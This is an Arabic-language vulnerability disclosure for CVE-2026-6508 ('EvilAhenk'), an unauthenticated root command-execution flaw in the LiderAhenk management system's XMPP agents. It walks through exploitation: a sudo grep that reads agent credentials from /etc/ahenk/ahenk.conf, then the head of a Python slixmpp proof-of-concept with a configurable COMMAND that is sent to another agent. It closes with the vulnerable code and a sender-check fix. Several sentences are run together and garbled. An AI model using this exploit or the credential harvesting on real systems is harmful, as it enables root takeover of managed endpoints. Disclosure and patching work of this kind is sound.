
CVE-2026-6508 ثغرة أمنية حرجة في بنية نظام الإدارة المركزية LiderAhenk تسمح بتنفيذ تعليمات برمجية غير مصرح بها (RCE) وحركة جانبية (Lateral Movement) عبر جميع العملاء (الأجهزة الطرفية) باستخدام صلاحيات "الجذر" (root).
EvilAhenk هي ثغرة أمنية حرجة في بنية نظام الإدارة المركزية LiderAhenk تسمح بتنفيذ كود بصلاحيات الجذر (Unauthorized RCE & Lateral Movement) على جميع العملاء (agents) فيما بينهم.
في LiderAhenk، ترسل لوحة التحكم/الخادم المركزي رسائل المهام والسياسات إلى العملاء عبر XMPP.
ahenk على العملاء أيضًا بنفس البنية التحتية لـ XMPP،EXECUTE_POLICY، EXECUTE_TASK أو EXECUTE_SCRIPT إلى العميل المستهدف،أي أن XMPP هنا هو قناة نقل حركة الإدارة. تذهب أوامر اللوحة المركزية عادةً عبر هذه القناة إلى العملاء.
التدفق المتوقع:
لوحة تحكم Lider/Ahenk -> خادم XMPP -> الوكيل المستهدف
التدفق المخترق:
ct-2 هو عميل صالح متصل بنفس خادم XMPPct-2 رسالة EXECUTE_SCRIPT عبر خادم XMPP مستهدفاً JID الخاص بـ ct-1ct-1ct-1 الأمر دون التحقق مما إذا كانت الرسالة قد جاءت بالفعل من lider_sunucuahenk.service يعمل كجذرct-2 أو أي حساب XMPP آخر -> خادم XMPP -> وكيل ct-1 -> أمر جذر
أي أننا لا نخترق طبقة XMPP نفسها. يقوم خادم XMPP بتوجيه الرسالة بشكل طبيعي. المشكلة هي أن وكيل Ahenk على جانب ct-1 لا يتحقق مما إذا كانت الرسالة قد جاءت بالفعل من حساب إدارة مصرح به.
pip install slixmpp
يتم جمع المعلومات التالية من عميل تم اختراقه ومتصل بنظام الإدارة المركزية:
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
مثال على الإخراج:
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
نقوم بتحديث ملف Main.py وفقاً للمعلومات التي حصلنا عليها، domain = im.liderahenk.org، الهدف uid = pardus-ct-1
- مستخدم XMPP: `[email protected]`
- كلمة مرور XMPP: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- مضيف XMPP: `192.168.100.13`
- منفذ XMPP: `5222`
- الهدف الافتراضي: `[email protected]`
يمكن تعديل الأمر الذي سيتم تنفيذه على الجهاز الضحية عن طريق تغيير متغير COMMAND.
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
داخل repos/ahenk/src/base/messaging/messenger.py تتم معالجة الرسالة الواردة بناءً على حقل type فقط. لا يوجد التحقق من أن msg['from'] هو مرسل مصرح به:
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
داخل repos/ahenk/src/base/execution/execution_manager.py، يؤدي EXECUTE_SCRIPT مباشرة إلى تنفيذ أمر:
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
عند الجمع بين هذين الجزأين، يكون التأثير كما يلي:
EXECUTE_SCRIPT دون التحقق من المرسلالإصلاح المحتمل على مستوى التصميم:
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))